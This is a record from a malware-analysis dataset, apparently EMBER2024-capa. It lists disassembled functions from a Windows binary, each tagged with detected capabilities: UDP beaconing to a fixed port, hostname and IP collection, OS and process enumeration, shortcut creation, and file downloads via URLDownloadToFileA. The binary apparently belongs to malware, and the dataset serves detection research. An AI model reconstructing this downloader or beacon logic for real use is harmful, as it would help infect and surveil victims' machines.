joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405230
Capabilities:
Create thread
Create udp socket
Get hostname
Get local ipv4 addresses
Get socket information
Resolve dns

Disassembly:
sub esp, 0x118
mov eax, dword [0x43fc34]
xor eax, esp
mov dword [esp + 0x114], eax
push esi
or esi, 0xffffffff
cmp dword [0x443c40], esi
je 0x405268
xor eax, eax
pop esi
mov ecx, dword [esp + 0x114]
xor ecx, esp
call fcn.0041d795
add esp, 0x118
ret
push edi
push 1
xor edi, edi
push edi
push edi
push 0x11
push 2
push 2
call dword [sym.imp.WS2_32.dll_WSASocketA]
mov dword [0x443c40], eax
xor eax, eax
mov dword [esp + 0xe], eax
mov dword [esp + 0x12], eax
mov dword [esp + 0x16], eax
mov word [esp + 0x1a], ax
mov eax, 2
push edi
mov word [esp + 0x10], ax
call dword [sym.imp.WS2_32.dll_htons]
mov edx, dword [0x443c40]
push 0x10
lea ecx, [esp + 0x10]
push ecx
push edx
mov word [esp + 0x1a], ax
mov dword [esp + 0x1c], edi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, esi
mov eax, dword [0x443c40]
jne 0x4052f0
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
mov dword [0x443c40], esi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x114]
xor ecx, esp
call fcn.0041d795
add esp, 0x118
ret
push ebx
push ebp
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x18]
push edx
push eax
mov dword [esp + 0x1c], 0x10
call dword [sym.imp.WS2_32.dll_getsockname]
mov ecx, dword [esp + 0x16]
push ecx
call dword [sym.imp.WS2_32.dll_ntohs]
push 0x100
lea edx, [esp + 0x28]
push edx
movzx ebp, ax
call dword [sym.imp.WS2_32.dll_gethostname]
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
push 0x7c
push edi
push 0x443c5c
mov ebx, eax
call fcn.00420f90
add esp, 0xc
mov esi, 0x443c70
jmp 0x405350
mov ecx, dword [ebx + 0xc]
mov eax, dword [edi + ecx]
mov dword [esp + 0x10], eax
test eax, eax
je 0x40538b
movsx edx, word [ebx + 0xa]
push edx
lea eax, [esp + 0x14]
push eax
lea ecx, [esi - 4]
push ecx
call fcn.00423740
mov word [esi], bp
inc byte [0x443c94]
add esi, 8
add esp, 0xc
add edi, 4
cmp esi, 0x443c90
jl 0x405350
push 0
push 0
push 0x443c10
push 0x405800
push 0
push 0
mov dword [0x443cdc], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [esp + 0x124]
pop ebp
pop ebx
pop edi
mov dword [0x443c44], eax
pop esi
mov eax, 1
xor ecx, esp
mov dword [0x443c20], eax
call fcn.0041d795
add esp, 0x118
ret
Function at 0x4053e0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x9c
mov eax, dword [0x43fc34]
xor eax, esp
mov dword [esp + 0x98], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push eax
mov esi, ecx
mov ebx, edx
mov dword [0x443cec], 0
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [0x443cd8], eax
mov eax, esi
lea edi, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405420
sub eax, edi
push eax
push esi
push 0x443c5c
call fcn.0041ef50
mov ecx, dword [0x443cd8]
xor eax, eax
mov dword [esp + 0x1e], eax
mov dword [esp + 0x22], eax
add esp, 0xc
mov dword [esp + 0x1a], eax
mov word [esp + 0x1e], ax
mov eax, 2
push 0x1a16
mov word [esp + 0x14], ax
mov dword [esp + 0x18], ecx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x12], ax
xor eax, eax
push 0x32
push eax
lea edx, [esp + 0x74]
push edx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov word [esp + 0x3c], ax
mov byte [esp + 0x3e], al
call fcn.00420f90
mov ecx, 0x1f
mov esi, 0x443c5c
lea edi, [esp + 0x30]
mov dword [esp + 0x2c], 0x65
mov eax, ebx
rep movsd dword es:[edi], dword [esi]
add esp, 0xc
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4054b3
sub eax, esi
push eax
lea eax, [esp + 0x70]
push ebx
push eax
call fcn.00423740
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0xc
xor ebx, ebx
cmp dword [0x443cec], 1
je 0x40551c
mov eax, dword [0x443c40]
push 0x10
lea ecx, [esp + 0x14]
push ecx
push 0
push 0x80
lea edx, [esp + 0x30]
push edx
push eax
call dword [sym.imp.WS2_32.dll_sendto]
xor esi, esi
lea ecx, [ecx]
cmp dword [0x443ce0], 0
jne 0x405535
push 0x12c
call edi
inc esi
cmp esi, 0xa
jl 0x405500
inc ebx
cmp ebx, 5
jl 0x4054d3
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x98]
xor ecx, esp
call fcn.0041d795
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [esp + 0xa4]
pop edi
pop esi
pop ebx
xor ecx, esp
mov eax, 1
call fcn.0041d795
mov esp, ebp
pop ebp
ret 4
Function at 0x405560
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 0x9c
mov eax, dword [0x43fc34]
xor eax, esp
mov dword [esp + 0x94], eax
push esi
xor eax, eax
push edi
push 0x32
push eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov word [esp + 0x30], ax
mov byte [esp + 0x32], al
lea eax, [esp + 0x6c]
push eax
call fcn.00420f90
mov ecx, 0x1f
mov esi, 0x443c5c
lea edi, [esp + 0x28]
lea edx, [esp + 0x70]
add esp, 0xc
mov dword [esp + 0x18], 0x75
rep movsd dword es:[edi], dword [esi]
mov eax, ebx
sub edx, ebx
lea ecx, [ecx]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x4055c0
mov edx, dword [0x443cd8]
xor eax, eax
mov ecx, 2
mov dword [esp + 0xa], eax
mov dword [esp + 0xe], eax
push 0x1a16
mov dword [esp + 0x16], eax
mov word [esp + 0x1a], ax
mov word [esp + 0xc], cx
mov dword [esp + 0x10], edx
call dword [sym.imp.WS2_32.dll_htons]
mov edx, dword [0x443c40]
push 0x10
mov word [esp + 0xe], ax
lea eax, [esp + 0xc]
push eax
push 0
push 0x80
lea ecx, [esp + 0x28]
push ecx
push edx
call dword [sym.imp.WS2_32.dll_sendto]
mov ecx, dword [esp + 0x9c]
pop edi
pop esi
xor ecx, esp
call fcn.0041d795
add esp, 0x9c
ret

Function at 0x405640
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 0x9c
mov eax, dword [0x43fc34]
xor eax, esp
mov dword [esp + 0x94], eax
push esi
xor eax, eax
push edi
push 0x32
push eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov word [esp + 0x30], ax
mov byte [esp + 0x32], al
lea eax, [esp + 0x6c]
push eax
call fcn.00420f90
mov ecx, 0x1f
mov esi, 0x443c5c
lea edi, [esp + 0x28]
lea edx, [esp + 0x70]
add esp, 0xc
mov dword [esp + 0x18], 0x74
rep movsd dword es:[edi], dword [esi]
mov eax, ebx
sub edx, ebx
lea ecx, [ecx]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x4056a0
mov edx, dword [0x443cd8]
xor eax, eax
mov ecx, 2
mov dword [esp + 0xa], eax
mov dword [esp + 0xe], eax
push 0x1a16
mov dword [esp + 0x16], eax
mov word [esp + 0x1a], ax
mov word [esp + 0xc], cx
mov dword [esp + 0x10], edx
call dword [sym.imp.WS2_32.dll_htons]
mov edx, dword [0x443c40]
push 0x10
mov word [esp + 0xe], ax
lea eax, [esp + 0xc]
push eax
push 0
push 0x80
lea ecx, [esp + 0x28]
push ecx
push edx
call dword [sym.imp.WS2_32.dll_sendto]
mov ecx, dword [esp + 0x9c]
pop edi
pop esi
xor ecx, esp
call fcn.0041d795
add esp, 0x9c
ret
Function at 0x405720
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x98
mov eax, dword [0x43fc34]
xor eax, esp
mov dword [esp + 0x94], eax
cmp dword [0x443ce0], 0
push esi
push edi
je 0x4057e9
xor eax, eax
push 0x32
push eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov word [esp + 0x30], ax
mov byte [esp + 0x32], al
lea eax, [esp + 0x6c]
push eax
call fcn.00420f90
mov edx, dword [0x443cd8]
xor eax, eax
mov dword [esp + 0x24], 0x66
mov ecx, 0x1f
mov esi, 0x443c5c
lea edi, [esp + 0x28]
add esp, 0xc
rep movsd dword es:[edi], dword [esi]
mov ecx, 2
mov dword [esp + 0xa], eax
mov dword [esp + 0xe], eax
push 0x1a16
mov dword [esp + 0x16], eax
mov word [esp + 0x1a], ax
mov word [esp + 0xc], cx
mov dword [esp + 0x10], edx
call dword [sym.imp.WS2_32.dll_htons]
mov edx, dword [0x443c40]
push 0x10
mov word [esp + 0xe], ax
lea eax, [esp + 0xc]
push eax
push 0
push 0x80
lea ecx, [esp + 0x28]
push ecx
push edx
call dword [sym.imp.WS2_32.dll_sendto]
mov dword [0x443ce0], 0
mov ecx, dword [esp + 0x9c]
pop edi
pop esi
xor ecx, esp
call fcn.0041d795
mov esp, ebp
pop ebp
ret

Function at 0x4058e0
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 0x90
mov eax, dword [0x43fc34]
xor eax, esp
mov dword [esp + 0x88], eax
mov eax, dword [ecx]
push ebp
mov ebp, dword [esp + 0x98]
add eax, 0xffffff9c
push esi
push edi
cmp eax, 0xb
ja case.0x405913.101
movzx eax, byte [eax + 0x4059f4]
jmp dword [eax*4 + 0x4059dc]
lea esi, [ecx + 4]
lea edi, [ebx + 0x4c]
mov ecx, 0x1f
rep movsd dword es:[edi], dword [esi]
mov dword [ebx + 0xd0], 1
jmp case.0x405913.101
mov dword [ebx + 0xdc], 1
mov dword [ebx + 0xd0], 0
jmp case.0x405913.101
mov dword [ebx + 0xd8], 1
jmp case.0x405913.101
xor eax, eax
push 0x32
push eax
lea ecx, [esp + 0x64]
push ecx
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov word [esp + 0x2c], ax
mov byte [esp + 0x2e], al
call fcn.00420f90
mov edx, dword [esp + 0xb0]
add esp, 0xc
push edx
push ebp
push 0
push 0x80
mov dword [esp + 0x20], 0x6b
lea esi, [ebx + 0x4c]
mov ecx, 0x1f
lea edi, [esp + 0x24]
lea eax, [esp + 0x20]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebx + 0x30]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_sendto]
jmp case.0x405913.101
mov dword [ebx + 0xd4], 1
mov ecx, dword [esp + 0x94]
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.0041d795
add esp, 0x90
ret 8
Function at 0x405a60
Capabilities:
Query or enumerate registry value

Disassembly:
push 0xffffffffffffffff
push 0x433508
mov eax, dword fs:[0]
push eax
push ecx
push ebp
mov eax, dword [0x43fc34]
xor eax, esp
push eax
lea eax, [esp + 0xc]
mov dword fs:[0], eax
lea eax, [esp + 8]
push eax
push 0
mov dword [esp + 0x1c], 0
mov ecx, dword [esp + 0x24]
mov edx, dword [edi]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push 0
push 0
push ecx
push edx
mov dword [esp + 0x20], 0
call ebp
test eax, eax
jne 0x405b63
mov eax, dword [esi]
mov edx, dword [esp + 8]
sub eax, 0x10
mov ecx, 1
sub ecx, dword [eax + 0xc]
mov eax, dword [eax + 8]
inc edx
sub eax, edx
or eax, ecx
jge 0x405ad8
push edx
mov ecx, esi
call fcn.00404e30
mov eax, dword [esi]
mov edx, dword [esp + 0x1c]
lea ecx, [esp + 8]
push ecx
push eax
mov eax, dword [edi]
push 0
push 0
push edx
push eax
call ebp
test eax, eax
jne 0x405b63
mov eax, dword [esi]
mov ecx, dword [eax - 8]
test eax, eax
je 0x405b09
push ecx
push eax
call fcn.0041e501
add esp, 8
test eax, eax
jl 0x405b59
mov ecx, dword [esi]
cmp eax, dword [ecx - 8]
jg 0x405b59
mov dword [ecx - 0xc], eax
mov ecx, dword [esi]
mov byte [eax + ecx], 0
mov dword [esp + 0x14], 0xffffffff
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x405b41
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, 1
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
pop ecx
pop ebp
add esp, 0x10
ret 4
push 0x80070057
call fcn.00404f70
mov dword [esp + 0x14], 0xffffffff
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
or edx, 0xffffffff
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x405b8b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
xor eax, eax
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
pop ecx
pop ebp
add esp, 0x10
ret 4
Function at 0x405ba0
Capabilities:
Check os version
Get system information on windows

Disassembly:
push 0xffffffffffffffff
push 0x43363b
mov eax, dword fs:[0]
push eax
sub esp, 0xc8
mov eax, dword [0x43fc34]
xor eax, esp
mov dword [esp + 0xc4], eax
push esi
push edi
mov eax, dword [0x43fc34]
xor eax, esp
push eax
lea eax, [esp + 0xd4]
mov dword fs:[0], eax
lea eax, [esp + 0x10]
push eax
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea ecx, [esp + 0x34]
push ecx
mov dword [esp + 0x38], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x405d8c
call fcn.00412b81
xor ecx, ecx
cmp eax, edi
setne cl
cmp ecx, edi
jne 0x405c1b
push 0x80004005
call fcn.00404f70
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xc], eax
mov dword [esp + 0xdc], edi
mov eax, dword [esp + 0x38]
sub eax, 4
je 0x405d1a
sub eax, 1
je 0x405cab
sub eax, 1
je 0x405c53
push 0x438e54
jmp 0x405d54
mov eax, dword [esp + 0x3c]
sub eax, edi
je 0x405c89
sub eax, 1
jne 0x405d5d
cmp byte [esp + 0xce], 1
lea ecx, [esp + 0xc]
jne 0x405c7f
lea edi, [eax + 2]
push str.Microsoft_Windows_7
jmp 0x405d58
push str.Microsoft_Windows_Server_2008_R2
jmp 0x405d58
cmp byte [esp + 0xce], 1
lea ecx, [esp + 0xc]
jne 0x405ca1
push str.Microsoft_Windows_Vista
jmp 0x405d58
push str.Microsoft_Windows_Server_2008
jmp 0x405d58
mov eax, dword [esp + 0x3c]
sub eax, edi
je 0x405d13
sub eax, 1
je 0x405cfe
sub eax, 1
jne 0x405d5d
cmp byte [esp + 0xce], 1
jne 0x405cda
cmp word [esp + 0x10], 9
jne 0x405cda
push str.Microsoft_Windows_XP_Professional_x64_Edition
jmp 0x405d54
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0x59
call esi
test eax, eax
jne 0x405cef
push str.Microsoft_Windows_Server_2003
jmp 0x405d54
push 0x59
call esi
test eax, eax
je 0x405d5d
push str.Microsoft_Windows_Server_2003_R2
jmp 0x405d54
push str.Microsoft_Windows_XP
lea ecx, [esp + 0x10]
call fcn.00404bf0
mov edi, 1
jmp 0x405d5d
push str.Microsoft_Windows_2000
jmp 0x405d54
mov eax, dword [esp + 0x3c]
cmp eax, edi
je 0x405d3a
cmp eax, 0xa
je 0x405d33
cmp eax, 0x5a
jne 0x405d5d
push str.Microsoft_Windows_Me
jmp 0x405d54
push str.Microsoft_Windows_98
jmp 0x405d54
mov eax, dword [esp + 0x44]
cmp eax, 2
jne 0x405d4a
push str.Microsoft_Windows_NT_4.0
jmp 0x405d54
cmp eax, 1
jne 0x405d5d
push str.Microsoft_Windows_95
lea ecx, [esp + 0x10]
call fcn.00404bf0
mov dword [esp + 0xdc], 0xffffffff
mov eax, dword [esp + 0xc]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x405d88
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, edi
jmp 0x405d8e
xor eax, eax
mov ecx, dword [esp + 0xd4]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [esp + 0xc4]
xor ecx, esp
call fcn.0041d795
add esp, 0xd4
ret
Function at 0x406210
Capabilities:
Download url
Receive data

Disassembly:
sub esp, 0xc
push ebx
push ebp
push esi
push edi
mov edi, eax
mov ebp, dword [edi + 0x10]
cmp dword [edi + 0xc], ebp
jbe 0x406226
call fcn.0041e033
mov esi, dword [edi + 0xc]
mov ebx, dword [edi]
cmp esi, dword [edi + 0x10]
jbe 0x406235
call fcn.0041e033
mov eax, dword [edi]
push ebp
push ebx
push esi
push eax
push edi
lea ebx, [esp + 0x24]
call fcn.0040f040
mov ebx, dword [edi + 0x28]
cmp dword [edi + 0x24], ebx
lea esi, [edi + 0x18]
jbe 0x406255
call fcn.0041e033
mov ebp, dword [esi + 0xc]
mov eax, dword [esi]
mov dword [esp + 0x10], eax
cmp ebp, dword [esi + 0x10]
jbe 0x406268
call fcn.0041e033
mov ecx, dword [esp + 0x10]
mov eax, dword [esi]
push ebx
push ecx
push ebp
push eax
push esi
lea ebx, [esp + 0x24]
call fcn.0040f040
mov eax, dword [edi + 0x60]
lea ebx, [edi + 0x60]
sub eax, 0x10
mov edx, 1
sub edx, dword [eax + 0xc]
or edx, dword [eax + 8]
jge 0x40629b
push 0
mov ecx, ebx
call fcn.00404e30
mov ecx, dword [ebx]
push edi
call fcn.00406b50
mov eax, dword [edi + 0x64]
lea ebx, [edi + 0x64]
sub eax, 0x10
mov ecx, 1
sub ecx, dword [eax + 0xc]
or ecx, dword [eax + 8]
jge 0x4062c2
push 0
mov ecx, ebx
call fcn.00404e30
mov ecx, dword [ebx]
push esi
call fcn.00406b50
mov eax, dword [0x443bd8]
mov edx, 1
sub edx, dword [eax - 4]
or edx, dword [eax - 8]
jge 0x4062ed
push 0
mov ecx, 0x443bd8
call fcn.00404e30
mov eax, dword [0x443bd8]
lea ebx, [edi + 0x30]
push eax
call fcn.004068d0
mov eax, dword [0x443be0]
mov ecx, 1
sub ecx, dword [eax - 4]
or ecx, dword [eax - 8]
jge 0x406319
push 0
mov ecx, 0x443be0
call fcn.00404e30
mov eax, dword [0x443be0]
lea ebx, [edi + 0x48]
push eax
call fcn.004068d0
cmp dword [0x441054], 0
je 0x406332
mov ecx, edi
call fcn.00406580
cmp dword [0x441058], 0
je 0x4063b0
lea esi, [edi + 0x70]
push 0x443bb4
mov ecx, esi
call fcn.00405030
push 0xe
push str.xiaomama1.ico
mov ecx, esi
call fcn.004044f0
mov eax, dword [esi]
sub eax, 0x10
mov edx, 1
sub edx, dword [eax + 0xc]
or edx, dword [eax + 8]
jge 0x406373
push 0
mov ecx, esi
call fcn.00404e30
mov eax, dword [0x443bd4]
mov esi, dword [esi]
mov ecx, 1
sub ecx, dword [eax - 4]
or ecx, dword [eax - 8]
jge 0x406398
push 0
mov ecx, 0x443bd4
call fcn.00404e30
mov eax, dword [0x443bd4]
push 0
push 0
push esi
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
push edi
call fcn.00406ee0
call fcn.004075e0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
Function at 0x406580
Capabilities:
Download url
Receive data

Disassembly:
push 0xffffffffffffffff
push 0x433196
mov eax, dword fs:[0]
push eax
sub esp, 0x110
mov eax, dword [0x43fc34]
xor eax, esp
mov dword [esp + 0x10c], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x43fc34]
xor eax, esp
push eax
lea eax, [esp + 0x124]
mov dword fs:[0], eax
xor ebx, ebx
mov esi, ecx
cmp dword [0x441054], ebx
je 0x406789
push 0x103
lea eax, [esp + 0x21]
push ebx
push eax
mov byte [esp + 0x28], bl
call fcn.00420f90
add esp, 0xc
push 0x104
lea ecx, [esp + 0x20]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, dword [esi + 0x60]
sub eax, 0x10
push eax
call fcn.00404fa0
add eax, 0x10
add esp, 4
mov dword [esp + 0x18], eax
mov dword [esp + 0x12c], ebx
mov eax, dword [0x443bd0]
mov ecx, dword [eax - 0xc]
push ecx
push eax
lea ecx, [esp + 0x20]
call fcn.004044f0
mov eax, dword [0x443bb4]
add eax, 0xfffffff0
push eax
call fcn.00404fa0
add eax, 0x10
add esp, 4
mov dword [esp + 0x14], eax
push 9
push str.iiie.ico
lea ecx, [esp + 0x1c]
mov byte [esp + 0x134], 1
call fcn.004044f0
mov ebp, dword [esp + 0x14]
mov ecx, dword [ebp - 8]
mov eax, 1
sub eax, dword [ebp - 4]
or ecx, eax
jge 0x406674
push ebx
lea ecx, [esp + 0x18]
call fcn.00404e30
mov ebp, dword [esp + 0x14]
push ebx
push ebp
call fcn.004325ed
add esp, 8
test eax, eax
je 0x4066cf
mov ecx, dword [ebp - 8]
mov eax, 1
sub eax, dword [ebp - 4]
or ecx, eax
jge 0x40669f
push ebx
lea ecx, [esp + 0x18]
call fcn.00404e30
mov ebp, dword [esp + 0x14]
mov edx, dword [0x443bd4]
mov ecx, dword [edx - 8]
mov eax, 1
sub eax, dword [edx - 4]
or ecx, eax
jge 0x4066c5
push ebx
mov ecx, 0x443bd4
call fcn.00404e30
mov edx, dword [0x443bd4]
push ebx
push ebx
push ebp
push edx
push ebx
call sub.urlmon.dll_URLDownloadToFileA
mov ecx, dword [ebp - 8]
mov eax, 1
sub eax, dword [ebp - 4]
or ecx, eax
jge 0x4066ec
push ebx
lea ecx, [esp + 0x18]
call fcn.00404e30
mov ebp, dword [esp + 0x14]
mov edx, dword [0x443bcc]
mov ecx, dword [edx - 8]
mov eax, 1
sub eax, dword [edx - 4]
or ecx, eax
jge 0x406712
push ebx
mov ecx, 0x443bcc
call fcn.00404e30
mov edx, dword [0x443bcc]
mov esi, dword [esp + 0x18]
mov ecx, dword [esi - 8]
mov eax, 1
sub eax, dword [esi - 4]
mov edi, edx
or ecx, eax
jge 0x406735
push ebx
lea ecx, [esp + 0x1c]
call fcn.00404e30
mov esi, dword [esp + 0x18]
lea ebx, [esp + 0x1c]
call fcn.004067c0
lea eax, [ebp - 0x10]
mov byte [esp + 0x12c], 0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x406762
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea eax, [esi - 0x10]
mov dword [esp + 0x12c], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x406789
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
xor eax, eax
mov ecx, dword [esp + 0x124]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x10c]
xor ecx, esp
call fcn.0041d795
add esp, 0x11c
ret
Function at 0x4067c0
Capabilities:
Create shortcut via ishelllink
Get file attributes
Set file attributes

Disassembly:
sub esp, 0x214
mov eax, dword [0x43fc34]
xor eax, esp
mov dword [esp + 0x210], eax
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
test al, 1
je 0x4067f2
and eax, 0xfffffffe
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov word [esp + 0x14], ax
call fcn.00420f90
add esp, 0xc
lea edx, [esp]
push edx
push 0x43567c
push 1
push 0
push 0x43568c
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jge 0x40683f
xor eax, eax
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.0041d795
add esp, 0x214
ret
mov eax, dword [esp]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x50]
push ebx
push eax
call edx
mov eax, dword [esp]
mov ecx, dword [eax]
lea edx, [esp + 4]
push edx
push 0x43569c
push eax
mov eax, dword [ecx]
call eax
test eax, eax
jl 0x406828
mov eax, dword [esp]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x2c]
push edi
push eax
call edx
push 0x104
lea eax, [esp + 0xc]
push eax
push 0xffffffffffffffff
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [esp + 4]
mov ecx, dword [eax]
push 2
lea edx, [esp + 0xc]
push edx
push eax
mov eax, dword [ecx + 0x18]
call eax
mov eax, dword [esp + 4]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [esp + 0x210]
xor ecx, esp
mov eax, 1
call fcn.0041d795
add esp, 0x214
ret
Function at 0x407cf0
Capabilities:
Enumerate processes

Disassembly:
push 0xffffffffffffffff
push 0x43357b
mov eax, dword fs:[0]
push eax
sub esp, 0x134
mov eax, dword [0x43fc34]
xor eax, esp
mov dword [esp + 0x130], eax
push ebx
push edi
mov eax, dword [0x43fc34]
xor eax, esp
push eax
lea eax, [esp + 0x140]
mov dword fs:[0], eax
push 0
push 2
mov dword [esp + 0x1c], 0x128
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
je 0x407de0
lea eax, [esp + 0x14]
push eax
push edi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x407dd9
lea ecx, [esp + 0x14]
push ecx
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x407dd9
xor ebx, ebx
test esi, esi
setne bl
mov edi, edi
lea edx, [esp + 0x38]
push edx
lea ecx, [esp + 0x14]
call fcn.00404a80
mov dword [esp + 0x148], 0
test ebx, ebx
je 0x407e08
mov eax, dword [esp + 0x10]
push esi
push eax
call fcn.0041ffef
add esp, 8
mov dword [esp + 0x148], 0xffffffff
test eax, eax
mov eax, dword [esp + 0x10]
je 0x407e12
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x407dca
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0x14]
push ecx
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x407d70
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, dword [esp + 0x140]
mov dword fs:[0], ecx
pop ecx
pop edi
pop ebx
mov ecx, dword [esp + 0x130]
xor ecx, esp
call fcn.0041d795
add esp, 0x140
ret
push 0x80004005
call fcn.00404f70
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x407e2e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, 1
jmp 0x407de2